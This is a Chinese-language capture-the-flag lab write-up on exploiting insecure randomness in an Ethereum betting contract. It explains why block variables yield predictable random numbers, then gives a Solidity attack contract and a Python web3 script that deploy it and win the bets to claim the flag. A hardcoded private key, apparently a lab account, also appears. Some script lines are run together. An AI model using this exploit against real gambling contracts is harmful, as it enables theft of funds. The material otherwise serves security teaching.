某60区块链安全之不安全的随机数实战二学习记录

区块链安全

文章目录

区块链安全
不安全的随机数实战二
- 实验目的
- 实验环境
- 实验工具
- 实验原理
- 实验内容
- EXP利用

不安全的随机数实战二

实验目的

学会使用python3的web3模块
学会以太坊不安全的随机数漏洞分析及利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

由于所有以太坊节点在验证交易时，需要计算出相同的结果以达成共识，因此 EVM 本身无法实现真随机数的功能。至于伪随机数，其熵源也是只能是确定值。
EVM 有五个字节码可以获取当前区块的变量，包括 coinbase、timestamp、number、difficulty、gaslimit。这些变量对矿工来说，都是已知或者可操控的，因此在私有链部署的题目中，可以作为恶意的矿工控制随机数的结果。在公开的链如 Ropsten 上，这个方法就不太可行，但我们也可以编写攻击合约，在攻击合约中获取到相同的区块变量值，进一步用相同的算法得到随机数值。

实验内容

找到不安全的随机数漏洞并形成利用
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10004

获取合约地址和合约源代码
nc ip 10004连接到题目，输入1，获取部署合约的game account及token
在这里插入图片描述

打开http://ip，输入上述分配的game account，点击Request获取eth
在这里插入图片描述

nc ip 10004连接到题目，输入2，获取部署合约的地址及new token
在这里插入图片描述

nc ip 10004连接到题目，输入4，获取合约源代码，或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞
题目要求把flag设置为true，分析合约代码，需要使balanceOf[msg.sender]=3000
在这里插入图片描述

漏洞主要在于EVM 有五个字节码可以获取当前区块的变量，包括 coinbase、timestamp、number、difficulty、gaslimit，虽然依靠这些变量可以生成随机数，但生成的随机数是伪随机数，本题目中只需要使用第三方合约与其交互，随机数生成使用同样的算法即可，因为第三方合约和其交互的交易会打包到同一区块中，这样便可预测随机数。

EXP利用

编写第三方合约使用和题目相同的算法预测随机数，将下述ETH4的地址换成自己题目合约的地址

contract hack {ETH4 target = ETH4(0x1ef792186a9EdBd3366A5804D399924F4A98715f);function hack1() public {for(uint i=0;i<3;i++){uint256 seed = uint256(block.blockhash(block.number-1));uint rand = seed % 10;target.bet(rand);}}function callsendflag() public {target.callsendflag();}
}

在这里插入图片描述

调用利用链是先调用hack1()，然后调用callsendflag()即可

编写exp，将这一过程自动化，下述contract_address的地址换成自己题目合约的地址

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0xF05B4DAD63660aDaa2A23F4434fd5f30c24d7480"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:hack']txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)time.sleep(5)# hack1()
data = Web3.keccak(text='hack1()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)time.sleep(5)# callsendflag()
data = Web3.keccak(text='callsendflag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)